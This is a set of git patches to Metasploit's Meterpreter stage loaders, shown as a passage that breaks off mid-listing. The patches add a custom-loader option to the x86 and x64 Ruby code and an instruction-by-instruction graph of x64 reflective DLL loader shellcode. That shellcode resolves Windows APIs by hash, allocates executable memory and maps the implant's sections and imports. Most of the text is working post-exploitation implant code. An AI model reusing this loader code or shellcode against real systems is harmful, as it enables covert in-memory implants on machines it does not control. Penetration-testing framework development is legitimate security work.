From 4f57444ce60dd9d3857bfa4d3d98d546f40a1213 Mon Sep 17 00:00:00 2001 From: jbx81-1337 Date: Fri, 13 Mar 2026 11:37:33 +0100 Subject: [PATCH 01/15] feat: add support for custom loader in windows meterpreter x64 --- .../windows/x64/meterpreter_loader_x64.rb | 63 ++++++++++++++++--- 1 file changed, 56 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb index d4cc5c4bbaa19..75262105446ce 100644 --- a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb @@ -29,6 +29,9 @@ def initialize(info = {}) 'PayloadCompat' => { 'Convention' => 'sockrdi handlerdi -https' }, 'Stage' => { 'Payload' => "" } )) + register_options([ + OptBool.new('MeterpreterLoader::CustomLoader', [ false, 'Use a custom loader', false ]), + ], self.class) end def asm_invoke_metsrv(opts={}) @@ -71,6 +74,31 @@ def stage_payload(opts={}) stage_meterpreter(opts) + generate_config(opts) end + def stage_with_custom_loader(opts={}) + ds = opts[:datastore] || datastore + debug_build = ds['MeterpreterDebugBuild'] + metsrv_path = MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll', debug: debug_build) + meterpreter_data_dir = File.join(Msf::Config.data_directory, 'meterpreter') + custom_loader_path = File.join(meterpreter_data_dir, 'custom_loader_x64.bin') + print_status("Generating custom loader for Meterpreter stage...") + unless File.exist?(custom_loader_path) + print_status("Custom loader not found at #{custom_loader_path}, drop your loader there and try again.") + raise RuntimeError, "Custom loader not found at #{custom_loader_path}" + end + + custom_loader = File.binread(custom_loader_path) + encrypted_dll = ::File.binread(dll_path) + dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: encrypted_dll) + + asm_opts = { + rdi_offset: dll.length, # we will append the dll to the end of the custom loader, so the offset to it is just the length of the custom loader + length: dll.length + custom_loader.length, # the total length of the payload is the length of the custom loader + the dll + stageless: opts[:stageless] == true + } + + end + + def generate_config(opts={}) ds = opts[:datastore] || datastore opts[:uuid] ||= generate_payload_uuid @@ -97,14 +125,35 @@ def generate_config(opts={}) def stage_meterpreter(opts={}) ds = opts[:datastore] || datastore debug_build = ds['MeterpreterDebugBuild'] + custom_loader = ds['MeterpreterLoader::CustomLoader'] == true # Exceptions will be thrown by the mixin if there are issues. - dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll', debug: debug_build)) - asm_opts = { - rdi_offset: offset, - length: dll.length, - stageless: opts[:stageless] == true - } + unless custom_loader + dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll', debug: debug_build)) + asm_opts = { + rdi_offset: offset, + length: dll.length, + stageless: opts[:stageless] == true + } + else + dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: ::File.binread(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll', debug: debug_build))) + custom_loader_path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'custom_loader.x64.bin') + unless ::File.exist?(custom_loader_path) + print_status("Custom loader not found at #{custom_loader_path}, drop your loader there and try again.") + raise RuntimeError, "Custom loader not found at #{custom_loader_path}" + end + custom_loader = ::File.binread(custom_loader_path) + asm_opts = { + rdi_offset: dll.length, # we will append the dll to the end of the custom loader, so the offset to it is just the length of the custom loader + length: dll.length + custom_loader.length, # the total length of the payload is the length of the custom loader + the dll + stageless: opts[:stageless] == true + } + vprint_status("Using custom loader at #{custom_loader_path}") + vprint_status("Custom loader length: #{custom_loader.length} bytes") + vprint_status("DLL length: #{dll.length} bytes") + vprint_status("ReflectiveLoader offset: #{asm_opts[:rdi_offset]} bytes") + vprint_status("Configuration offset: #{asm_opts[:length]} bytes") + end asm = asm_invoke_metsrv(asm_opts) @@ -118,7 +167,7 @@ def stage_meterpreter(opts={}) # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap - + dll = dll + custom_loader if custom_loader dll end From d14b1ec7d1512d3dff7057e715fc41c1af6dfb56 Mon Sep 17 00:00:00 2001 From: jbx81-1337 Date: Wed, 18 Mar 2026 15:49:46 +0100 Subject: [PATCH 02/15] fix: moved option to advanced for custom loader, removed unused method --- .../windows/x64/meterpreter_loader_x64.rb | 29 ++----------------- 1 file changed, 2 insertions(+), 27 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb index 75262105446ce..bf8d2de1a527d 100644 --- a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb @@ -29,7 +29,7 @@ def initialize(info = {}) 'PayloadCompat' => { 'Convention' => 'sockrdi handlerdi -https' }, 'Stage' => { 'Payload' => "" } )) - register_options([ + register_advanced_options([ OptBool.new('MeterpreterLoader::CustomLoader', [ false, 'Use a custom loader', false ]), ], self.class) end @@ -74,31 +74,6 @@ def stage_payload(opts={}) stage_meterpreter(opts) + generate_config(opts) end - def stage_with_custom_loader(opts={}) - ds = opts[:datastore] || datastore - debug_build = ds['MeterpreterDebugBuild'] - metsrv_path = MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll', debug: debug_build) - meterpreter_data_dir = File.join(Msf::Config.data_directory, 'meterpreter') - custom_loader_path = File.join(meterpreter_data_dir, 'custom_loader_x64.bin') - print_status("Generating custom loader for Meterpreter stage...") - unless File.exist?(custom_loader_path) - print_status("Custom loader not found at #{custom_loader_path}, drop your loader there and try again.") - raise RuntimeError, "Custom loader not found at #{custom_loader_path}" - end - - custom_loader = File.binread(custom_loader_path) - encrypted_dll = ::File.binread(dll_path) - dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: encrypted_dll) - - asm_opts = { - rdi_offset: dll.length, # we will append the dll to the end of the custom loader, so the offset to it is just the length of the custom loader - length: dll.length + custom_loader.length, # the total length of the payload is the length of the custom loader + the dll - stageless: opts[:stageless] == true - } - - end - - def generate_config(opts={}) ds = opts[:datastore] || datastore opts[:uuid] ||= generate_payload_uuid @@ -148,7 +123,7 @@ def stage_meterpreter(opts={}) length: dll.length + custom_loader.length, # the total length of the payload is the length of the custom loader + the dll stageless: opts[:stageless] == true } - vprint_status("Using custom loader at #{custom_loader_path}") + puts("WARNING: Local file #{custom_loader_path} is being used") vprint_status("Custom loader length: #{custom_loader.length} bytes") vprint_status("DLL length: #{dll.length} bytes") vprint_status("ReflectiveLoader offset: #{asm_opts[:rdi_offset]} bytes") From 97adbbc3bbcf2f62ca1535db37fe4debb2585978 Mon Sep 17 00:00:00 2001 From: jbx81-1337 Date: Fri, 20 Mar 2026 08:27:07 +0100 Subject: [PATCH 03/15] feat: add support for custom loader option in MeterpreterLoader x86 --- .../payload/windows/meterpreter_loader.rb | 42 +++++++++++++++---- 1 file changed, 35 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index 89f4e011ec4b7..e0e140d0d29c1 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -28,6 +28,9 @@ def initialize(info = {}) 'PayloadCompat' => { 'Convention' => 'sockedi handleedi -https', }, 'Stage' => { 'Payload' => "" } )) + register_advanced_options([ + OptBool.new('MeterpreterLoader::CustomLoader', [ false, 'Use a custom loader', false ]), + ], self.class) end def asm_invoke_metsrv(opts={}) @@ -93,14 +96,38 @@ def generate_config(opts={}) def stage_meterpreter(opts={}) ds = opts[:datastore] || datastore debug_build = ds['MeterpreterDebugBuild'] - # Exceptions will be thrown by the mixin if there are issues. - dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll', debug: debug_build)) + use_custom_loader = ds['MeterpreterLoader::CustomLoader'] == true + custom_loader = nil - asm_opts = { - rdi_offset: offset, - length: dll.length, - stageless: opts[:stageless] == true - } + # Exceptions will be thrown by the mixin if there are issues. + unless use_custom_loader + dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll', debug: debug_build)) + + asm_opts = { + rdi_offset: offset, + length: dll.length, + stageless: opts[:stageless] == true + } + else + dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: ::File.binread(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll', debug: debug_build))) + custom_loader_path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'custom_loader.x86.bin') + unless ::File.exist?(custom_loader_path) + print_status("Custom loader not found at #{custom_loader_path}, drop your loader there and try again.") + raise RuntimeError, "Custom loader not found at #{custom_loader_path}" + end + + custom_loader = ::File.binread(custom_loader_path) + asm_opts = { + rdi_offset: dll.length, + length: dll.length + custom_loader.length, + stageless: opts[:stageless] == true + } + puts("WARNING: Local file #{custom_loader_path} is being used") + vprint_status("Custom loader length: #{custom_loader.length} bytes") + vprint_status("DLL length: #{dll.length} bytes") + vprint_status("ReflectiveLoader offset: #{asm_opts[:rdi_offset]} bytes") + vprint_status("Configuration offset: #{asm_opts[:length]} bytes") + end asm = asm_invoke_metsrv(asm_opts) @@ -114,6 +141,7 @@ def stage_meterpreter(opts={}) # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap + dll = dll + custom_loader if custom_loader dll end From 0473879a25aa67ece542c43381e4c7a4d9bf7ed8 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 20 Mar 2026 16:15:42 -0400 Subject: [PATCH 04/15] Add the x64 reflective loader graphml --- data/shellcode/reflective_loader.x64.graphml | 3706 ++++++++++++++++++ 1 file changed, 3706 insertions(+) create mode 100644 data/shellcode/reflective_loader.x64.graphml diff --git a/data/shellcode/reflective_loader.x64.graphml b/data/shellcode/reflective_loader.x64.graphml new file mode 100644 index 0000000000000..cb6d543b60f85 --- /dev/null +++ b/data/shellcode/reflective_loader.x64.graphml @@ -0,0 +1,3706 @@ + + + + + + + + + + 0x1000 + instructions-graph + + 0x1000 + instructions + + 0x1000 + instruction + 55 + push rbp + + + 0x1001 + instruction + 4889e5 + mov rbp, rsp + + + 0x1004 + instruction + 4881eca0000000 + sub rsp, 0xa0 + + + 0x100b + instruction + 4883e4f0 + and rsp, 0xfffffffffffffff0 + + + 0x100f + instruction + 53 + push rbx + + + 0x1010 + instruction + 56 + push rsi + + + 0x1011 + instruction + 57 + push rdi + + + 0x1012 + instruction + 4154 + push r12 + + + 0x1014 + instruction + 4155 + push r13 + + + 0x1016 + instruction + 4156 + push r14 + + + 0x1018 + instruction + 4157 + push r15 + + + 0x101a + instruction + 4831c0 + xor rax, rax + + + 0x101d + instruction + 488945f8 + mov qword ptr [rbp - 8], rax + + + 0x1021 + instruction + 488945f0 + mov qword ptr [rbp - 0x10], rax + + + 0x1025 + instruction + 488945e8 + mov qword ptr [rbp - 0x18], rax + + + 0x1029 + instruction + 488945e0 + mov qword ptr [rbp - 0x20], rax + + + 0x102d + instruction + 48898568ffffff + mov qword ptr [rbp - 0x98], rax + + + 0x1034 + instruction + 4831c9 + xor rcx, rcx + + + 0x1037 + instruction + 4885c9 + test rcx, rcx + + + 0x103a + instruction + 753b + jne 0x1077 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x103c + instructions-graph + + 0x103c + instructions + + 0x103c + instruction + e800000000 + call 0x1041 + + + + + 0x1041 + instructions-graph + + 0x1041 + instructions + + 0x1041 + instruction + 59 + pop rcx + + + 0x1042 + instruction + 4881e100f0ffff + and rcx, 0xfffffffffffff000 + + + + + + 0x1049 + instructions-graph + + 0x1049 + instructions + + 0x1049 + instruction + 668b01 + mov ax, word ptr [rcx] + + + 0x104c + instruction + 663d4d5a + cmp ax, 0x5a4d + + + 0x1050 + instruction + 751c + jne 0x106e + + + + + + + 0x1052 + instructions-graph + + 0x1052 + instructions + + 0x1052 + instruction + 8b413c + mov eax, dword ptr [rcx + 0x3c] + + + 0x1055 + instruction + 83f840 + cmp eax, 0x40 + + + 0x1058 + instruction + 7214 + jb 0x106e + + + + + + + 0x105a + instructions-graph + + 0x105a + instructions + + 0x105a + instruction + 3d00040000 + cmp eax, 0x400 + + + 0x105f + instruction + 730d + jae 0x106e + + + + + + 0x1061 + instructions-graph + + 0x1061 + instructions + + 0x1061 + instruction + 488d1401 + lea rdx, [rcx + rax] + + + 0x1065 + instruction + 8b02 + mov eax, dword ptr [rdx] + + + 0x1067 + instruction + 3d50450000 + cmp eax, 0x4550 + + + 0x106c + instruction + 7409 + je 0x1077 + + + + + + + + 0x106e + instructions-graph + + 0x106e + instructions + + 0x106e + instruction + 4881e900100000 + sub rcx, 0x1000 + + + 0x1075 + instruction + ebd2 + jmp 0x1049 + + + + + + 0x1077 + instructions-graph + + 0x1077 + instructions + + 0x1077 + instruction + 48894dd8 + mov qword ptr [rbp - 0x28], rcx + + + 0x107b + instruction + 65488b042560000000 + mov rax, qword ptr gs:[0x60] + + + 0x1084 + instruction + 488b4018 + mov rax, qword ptr [rax + 0x18] + + + 0x1088 + instruction + 488b4020 + mov rax, qword ptr [rax + 0x20] + + + + + + + 0x108c + instructions-graph + + 0x108c + instructions + + 0x108c + instruction + 4885c0 + test rax, rax + + + 0x108f + instruction + 0f8407020000 + je 0x129c + + + + + + 0x1095 + instructions-graph + + 0x1095 + instructions + + 0x1095 + instruction + 488945a0 + mov qword ptr [rbp - 0x60], rax + + + 0x1099 + instruction + 480fb74848 + movzx rcx, word ptr [rax + 0x48] + + + 0x109e + instruction + 4885c9 + test rcx, rcx + + + 0x10a1 + instruction + 0f84e9010000 + je 0x1290 + + + + + + + + 0x10a7 + instructions-graph + + 0x10a7 + instructions + + 0x10a7 + instruction + 488b5050 + mov rdx, qword ptr [rax + 0x50] + + + 0x10ab + instruction + 4531e4 + xor r12d, r12d + + + + + 0x10ae + instructions-graph + + 0x10ae + instructions + + 0x10ae + instruction + 41c1cc0d + ror r12d, 0xd + + + 0x10b2 + instruction + 0fb61a + movzx ebx, byte ptr [rdx] + + + 0x10b5 + instruction + 80fb61 + cmp bl, 0x61 + + + 0x10b8 + instruction + 7203 + jb 0x10bd + + + + + + + + + 0x10ba + instructions-graph + + 0x10ba + instructions + + 0x10ba + instruction + 80eb20 + sub bl, 0x20 + + + + + 0x10bd + instructions-graph + + 0x10bd + instructions + + 0x10bd + instruction + 4101dc + add r12d, ebx + + + 0x10c0 + instruction + 48ffc2 + inc rdx + + + 0x10c3 + instruction + 48ffc9 + dec rcx + + + 0x10c6 + instruction + 75e6 + jne 0x10ae + + + + + + + + 0x10c8 + instructions-graph + + 0x10c8 + instructions + + 0x10c8 + instruction + 4181fc5bbc4a6a + cmp r12d, 0x6a4abc5b + + + 0x10cf + instruction + 7412 + je 0x10e3 + + + + + + 0x10d1 + instructions-graph + + 0x10d1 + instructions + + 0x10d1 + instruction + 4181fc5d68fa3c + cmp r12d, 0x3cfa685d + + + 0x10d8 + instruction + 0f84ba000000 + je 0x1198 + + + + + + 0x10de + instructions-graph + + 0x10de + instructions + + 0x10de + instruction + e9ad010000 + jmp 0x1290 + + + + + 0x10e3 + instructions-graph + + 0x10e3 + instructions + + 0x10e3 + instruction + 488b45a0 + mov rax, qword ptr [rbp - 0x60] + + + 0x10e7 + instruction + 4c8b6820 + mov r13, qword ptr [rax + 0x20] + + + 0x10eb + instruction + 4c896dd0 + mov qword ptr [rbp - 0x30], r13 + + + 0x10ef + instruction + e89e040000 + call 0x1592 + + + + + + + + 0x10f4 + instructions-graph + + 0x10f4 + instructions + + 0x10f4 + instruction + 48c78578ffffff02000000 + mov qword ptr [rbp - 0x88], 2 + + + + + 0x10ff + instructions-graph + + 0x10ff + instructions + + 0x10ff + instruction + 488b4590 + mov rax, qword ptr [rbp - 0x70] + + + 0x1103 + instruction + 4885c0 + test rax, rax + + + 0x1106 + instruction + 0f8454010000 + je 0x1260 + + + + + + + 0x110c + instructions-graph + + 0x110c + instructions + + 0x110c + instruction + 48ffc8 + dec rax + + + 0x110f + instruction + 48894590 + mov qword ptr [rbp - 0x70], rax + + + 0x1113 + instruction + 488b4db8 + mov rcx, qword ptr [rbp - 0x48] + + + 0x1117 + instruction + 8b09 + mov ecx, dword ptr [rcx] + + + 0x1119 + instruction + 48034dd0 + add rcx, qword ptr [rbp - 0x30] + + + 0x111d + instruction + e8a8040000 + call 0x15ca + + + + + + + + + + + 0x1122 + instructions-graph + + 0x1122 + instructions + + 0x1122 + instruction + 48898570ffffff + mov qword ptr [rbp - 0x90], rax + + + 0x1129 + instruction + 3d8e4e0eec + cmp eax, 0xec0e4e8e + + + 0x112e + instruction + 7409 + je 0x1139 + + + + + + + 0x1130 + instructions-graph + + 0x1130 + instructions + + 0x1130 + instruction + 3daafc0d7c + cmp eax, 0x7c0dfcaa + + + 0x1135 + instruction + 7402 + je 0x1139 + + + + + + 0x1137 + instructions-graph + + 0x1137 + instructions + + 0x1137 + instruction + eb50 + jmp 0x1189 + + + + + 0x1139 + instructions-graph + + 0x1139 + instructions + + 0x1139 + instruction + 4c8b75c0 + mov r14, qword ptr [rbp - 0x40] + + + 0x113d + instruction + 458b761c + mov r14d, dword ptr [r14 + 0x1c] + + + 0x1141 + instruction + 4c0375d0 + add r14, qword ptr [rbp - 0x30] + + + 0x1145 + instruction + 4c8b7db0 + mov r15, qword ptr [rbp - 0x50] + + + 0x1149 + instruction + 450fb73f + movzx r15d, word ptr [r15] + + + 0x114d + instruction + 4f8d34be + lea r14, [r14 + r15*4] + + + 0x1151 + instruction + 458b36 + mov r14d, dword ptr [r14] + + + 0x1154 + instruction + 4c0375d0 + add r14, qword ptr [rbp - 0x30] + + + 0x1158 + instruction + 8b8570ffffff + mov eax, dword ptr [rbp - 0x90] + + + 0x115e + instruction + 3d8e4e0eec + cmp eax, 0xec0e4e8e + + + 0x1163 + instruction + 7506 + jne 0x116b + + + + + + + + + + + + + + + + 0x1165 + instructions-graph + + 0x1165 + instructions + + 0x1165 + instruction + 4c8975f8 + mov qword ptr [rbp - 8], r14 + + + 0x1169 + instruction + eb04 + jmp 0x116f + + + + + + 0x116b + instructions-graph + + 0x116b + instructions + + 0x116b + instruction + 4c8975f0 + mov qword ptr [rbp - 0x10], r14 + + + + + 0x116f + instructions-graph + + 0x116f + instructions + + 0x116f + instruction + 488b8578ffffff + mov rax, qword ptr [rbp - 0x88] + + + 0x1176 + instruction + 48ffc8 + dec rax + + + 0x1179 + instruction + 48898578ffffff + mov qword ptr [rbp - 0x88], rax + + + 0x1180 + instruction + 4885c0 + test rax, rax + + + 0x1183 + instruction + 0f84d7000000 + je 0x1260 + + + + + + + + + + + 0x1189 + instructions-graph + + 0x1189 + instructions + + 0x1189 + instruction + 488345b804 + add qword ptr [rbp - 0x48], 4 + + + 0x118e + instruction + 488345b002 + add qword ptr [rbp - 0x50], 2 + + + 0x1193 + instruction + e967ffffff + jmp 0x10ff + + + + + + + 0x1198 + instructions-graph + + 0x1198 + instructions + + 0x1198 + instruction + 488b45a0 + mov rax, qword ptr [rbp - 0x60] + + + 0x119c + instruction + 4c8b6820 + mov r13, qword ptr [rax + 0x20] + + + 0x11a0 + instruction + 4c896dd0 + mov qword ptr [rbp - 0x30], r13 + + + 0x11a4 + instruction + e8e9030000 + call 0x1592 + + + + + + + + 0x11a9 + instructions-graph + + 0x11a9 + instructions + + 0x11a9 + instruction + 48c78578ffffff03000000 + mov qword ptr [rbp - 0x88], 3 + + + + + 0x11b4 + instructions-graph + + 0x11b4 + instructions + + 0x11b4 + instruction + 488b4590 + mov rax, qword ptr [rbp - 0x70] + + + 0x11b8 + instruction + 4885c0 + test rax, rax + + + 0x11bb + instruction + 0f849f000000 + je 0x1260 + + + + + + + 0x11c1 + instructions-graph + + 0x11c1 + instructions + + 0x11c1 + instruction + 48ffc8 + dec rax + + + 0x11c4 + instruction + 48894590 + mov qword ptr [rbp - 0x70], rax + + + 0x11c8 + instruction + 488b4db8 + mov rcx, qword ptr [rbp - 0x48] + + + 0x11cc + instruction + 8b09 + mov ecx, dword ptr [rcx] + + + 0x11ce + instruction + 48034dd0 + add rcx, qword ptr [rbp - 0x30] + + + 0x11d2 + instruction + e8f3030000 + call 0x15ca + + + + + + + + + + + 0x11d7 + instructions-graph + + 0x11d7 + instructions + + 0x11d7 + instruction + 48898570ffffff + mov qword ptr [rbp - 0x90], rax + + + 0x11de + instruction + 3db80a4c53 + cmp eax, 0x534c0ab8 + + + 0x11e3 + instruction + 7410 + je 0x11f5 + + + + + + + 0x11e5 + instructions-graph + + 0x11e5 + instructions + + 0x11e5 + instruction + 3ded4a3dd3 + cmp eax, 0xd33d4aed + + + 0x11ea + instruction + 7409 + je 0x11f5 + + + + + + 0x11ec + instructions-graph + + 0x11ec + instructions + + 0x11ec + instruction + 3d894d3fbc + cmp eax, 0xbc3f4d89 + + + 0x11f1 + instruction + 7402 + je 0x11f5 + + + + + + 0x11f3 + instructions-graph + + 0x11f3 + instructions + + 0x11f3 + instruction + eb5c + jmp 0x1251 + + + + + 0x11f5 + instructions-graph + + 0x11f5 + instructions + + 0x11f5 + instruction + 4c8b75c0 + mov r14, qword ptr [rbp - 0x40] + + + 0x11f9 + instruction + 458b761c + mov r14d, dword ptr [r14 + 0x1c] + + + 0x11fd + instruction + 4c0375d0 + add r14, qword ptr [rbp - 0x30] + + + 0x1201 + instruction + 4c8b7db0 + mov r15, qword ptr [rbp - 0x50] + + + 0x1205 + instruction + 450fb73f + movzx r15d, word ptr [r15] + + + 0x1209 + instruction + 4f8d34be + lea r14, [r14 + r15*4] + + + 0x120d + instruction + 458b36 + mov r14d, dword ptr [r14] + + + 0x1210 + instruction + 4c0375d0 + add r14, qword ptr [rbp - 0x30] + + + 0x1214 + instruction + 8b8570ffffff + mov eax, dword ptr [rbp - 0x90] + + + 0x121a + instruction + 3db80a4c53 + cmp eax, 0x534c0ab8 + + + 0x121f + instruction + 7506 + jne 0x1227 + + + + + + + + + + + + + + + + 0x1221 + instructions-graph + + 0x1221 + instructions + + 0x1221 + instruction + 4c8975e0 + mov qword ptr [rbp - 0x20], r14 + + + 0x1225 + instruction + eb14 + jmp 0x123b + + + + + + 0x1227 + instructions-graph + + 0x1227 + instructions + + 0x1227 + instruction + 3ded4a3dd3 + cmp eax, 0xd33d4aed + + + 0x122c + instruction + 7506 + jne 0x1234 + + + + + + 0x122e + instructions-graph + + 0x122e + instructions + + 0x122e + instruction + 4c8975e8 + mov qword ptr [rbp - 0x18], r14 + + + 0x1232 + instruction + eb07 + jmp 0x123b + + + + + + 0x1234 + instructions-graph + + 0x1234 + instructions + + 0x1234 + instruction + 4c89b568ffffff + mov qword ptr [rbp - 0x98], r14 + + + + + 0x123b + instructions-graph + + 0x123b + instructions + + 0x123b + instruction + 488b8578ffffff + mov rax, qword ptr [rbp - 0x88] + + + 0x1242 + instruction + 48ffc8 + dec rax + + + 0x1245 + instruction + 48898578ffffff + mov qword ptr [rbp - 0x88], rax + + + 0x124c + instruction + 4885c0 + test rax, rax + + + 0x124f + instruction + 740f + je 0x1260 + + + + + + + + + + + 0x1251 + instructions-graph + + 0x1251 + instructions + + 0x1251 + instruction + 488345b804 + add qword ptr [rbp - 0x48], 4 + + + 0x1256 + instruction + 488345b002 + add qword ptr [rbp - 0x50], 2 + + + 0x125b + instruction + e954ffffff + jmp 0x11b4 + + + + + + + 0x1260 + instructions-graph + + 0x1260 + instructions + + 0x1260 + instruction + 488b45f8 + mov rax, qword ptr [rbp - 8] + + + 0x1264 + instruction + 4885c0 + test rax, rax + + + 0x1267 + instruction + 7427 + je 0x1290 + + + + + + + 0x1269 + instructions-graph + + 0x1269 + instructions + + 0x1269 + instruction + 488b45f0 + mov rax, qword ptr [rbp - 0x10] + + + 0x126d + instruction + 4885c0 + test rax, rax + + + 0x1270 + instruction + 741e + je 0x1290 + + + + + + + 0x1272 + instructions-graph + + 0x1272 + instructions + + 0x1272 + instruction + 488b45e8 + mov rax, qword ptr [rbp - 0x18] + + + 0x1276 + instruction + 4885c0 + test rax, rax + + + 0x1279 + instruction + 7415 + je 0x1290 + + + + + + + 0x127b + instructions-graph + + 0x127b + instructions + + 0x127b + instruction + 488b8568ffffff + mov rax, qword ptr [rbp - 0x98] + + + 0x1282 + instruction + 4885c0 + test rax, rax + + + 0x1285 + instruction + 7409 + je 0x1290 + + + + + + + 0x1287 + instructions-graph + + 0x1287 + instructions + + 0x1287 + instruction + 488b45e0 + mov rax, qword ptr [rbp - 0x20] + + + 0x128b + instruction + 4885c0 + test rax, rax + + + 0x128e + instruction + 750c + jne 0x129c + + + + + + + 0x1290 + instructions-graph + + 0x1290 + instructions + + 0x1290 + instruction + 488b45a0 + mov rax, qword ptr [rbp - 0x60] + + + 0x1294 + instruction + 488b00 + mov rax, qword ptr [rax] + + + 0x1297 + instruction + e9f0fdffff + jmp 0x108c + + + + + + + 0x129c + instructions-graph + + 0x129c + instructions + + 0x129c + instruction + 488b4dd8 + mov rcx, qword ptr [rbp - 0x28] + + + 0x12a0 + instruction + 8b413c + mov eax, dword ptr [rcx + 0x3c] + + + 0x12a3 + instruction + 4c8d2401 + lea r12, [rcx + rax] + + + 0x12a7 + instruction + 4c8965c8 + mov qword ptr [rbp - 0x38], r12 + + + 0x12ab + instruction + 4883ec48 + sub rsp, 0x48 + + + 0x12af + instruction + 4831c0 + xor rax, rax + + + 0x12b2 + instruction + 4889442438 + mov qword ptr [rsp + 0x38], rax + + + 0x12b7 + instruction + 418b442450 + mov eax, dword ptr [r12 + 0x50] + + + 0x12bc + instruction + 4889442440 + mov qword ptr [rsp + 0x40], rax + + + 0x12c1 + instruction + 48c7c1ffffffff + mov rcx, 0xffffffffffffffff + + + 0x12c8 + instruction + 488d542438 + lea rdx, [rsp + 0x38] + + + 0x12cd + instruction + 4d31c0 + xor r8, r8 + + + 0x12d0 + instruction + 4c8d4c2440 + lea r9, [rsp + 0x40] + + + 0x12d5 + instruction + c744242000300000 + mov dword ptr [rsp + 0x20], 0x3000 + + + 0x12dd + instruction + c744242840000000 + mov dword ptr [rsp + 0x28], 0x40 + + + 0x12e5 + instruction + 4c8b55e8 + mov r10, qword ptr [rbp - 0x18] + + + 0x12e9 + instruction + e8f0020000 + call 0x15de + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x12ee + instructions-graph + + 0x12ee + instructions + + 0x12ee + instruction + 488b442438 + mov rax, qword ptr [rsp + 0x38] + + + 0x12f3 + instruction + 4883c448 + add rsp, 0x48 + + + 0x12f7 + instruction + 488945d0 + mov qword ptr [rbp - 0x30], rax + + + 0x12fb + instruction + 418b4c2454 + mov ecx, dword ptr [r12 + 0x54] + + + 0x1300 + instruction + 488b75d8 + mov rsi, qword ptr [rbp - 0x28] + + + 0x1304 + instruction + 488b7dd0 + mov rdi, qword ptr [rbp - 0x30] + + + + + + + 0x1308 + instructions-graph + + 0x1308 + instructions + + 0x1308 + instruction + f3a4 + rep movsb byte ptr [rdi], byte ptr [rsi] + + + + + 0x130a + instructions-graph + + 0x130a + instructions + + 0x130a + instruction + 490fb7442414 + movzx rax, word ptr [r12 + 0x14] + + + 0x1310 + instruction + 4d8d6c0418 + lea r13, [r12 + rax + 0x18] + + + 0x1315 + instruction + 450fb77c2406 + movzx r15d, word ptr [r12 + 6] + + + + + + 0x131b + instructions-graph + + 0x131b + instructions + + 0x131b + instruction + 4585ff + test r15d, r15d + + + 0x131e + instruction + 7425 + je 0x1345 + + + + + + 0x1320 + instructions-graph + + 0x1320 + instructions + + 0x1320 + instruction + 418b450c + mov eax, dword ptr [r13 + 0xc] + + + 0x1324 + instruction + 488b7dd0 + mov rdi, qword ptr [rbp - 0x30] + + + 0x1328 + instruction + 4801c7 + add rdi, rax + + + 0x132b + instruction + 418b4514 + mov eax, dword ptr [r13 + 0x14] + + + 0x132f + instruction + 488b75d8 + mov rsi, qword ptr [rbp - 0x28] + + + 0x1333 + instruction + 4801c6 + add rsi, rax + + + 0x1336 + instruction + 418b4d10 + mov ecx, dword ptr [r13 + 0x10] + + + + + + + + + + + + 0x133a + instructions-graph + + 0x133a + instructions + + 0x133a + instruction + f3a4 + rep movsb byte ptr [rdi], byte ptr [rsi] + + + + + 0x133c + instructions-graph + + 0x133c + instructions + + 0x133c + instruction + 4983c528 + add r13, 0x28 + + + 0x1340 + instruction + 41ffcf + dec r15d + + + 0x1343 + instruction + ebd6 + jmp 0x131b + + + + + + + 0x1345 + instructions-graph + + 0x1345 + instructions + + 0x1345 + instruction + 418b842490000000 + mov eax, dword ptr [r12 + 0x90] + + + 0x134d + instruction + 85c0 + test eax, eax + + + 0x134f + instruction + 0f84a5000000 + je 0x13fa + + + + + + + 0x1355 + instructions-graph + + 0x1355 + instructions + + 0x1355 + instruction + 4c8b75d0 + mov r14, qword ptr [rbp - 0x30] + + + 0x1359 + instruction + 4901c6 + add r14, rax + + + + + + 0x135c + instructions-graph + + 0x135c + instructions + + 0x135c + instruction + 418b460c + mov eax, dword ptr [r14 + 0xc] + + + 0x1360 + instruction + 85c0 + test eax, eax + + + 0x1362 + instruction + 0f8492000000 + je 0x13fa + + + + + + + 0x1368 + instructions-graph + + 0x1368 + instructions + + 0x1368 + instruction + 488b4dd0 + mov rcx, qword ptr [rbp - 0x30] + + + 0x136c + instruction + 4801c1 + add rcx, rax + + + 0x136f + instruction + 4883ec28 + sub rsp, 0x28 + + + 0x1373 + instruction + ff55f8 + call qword ptr [rbp - 8] + + + + + + + + 0x1376 + instructions-graph + + 0x1376 + instructions + + 0x1376 + instruction + 4883c428 + add rsp, 0x28 + + + 0x137a + instruction + 4989c5 + mov r13, rax + + + 0x137d + instruction + 418b06 + mov eax, 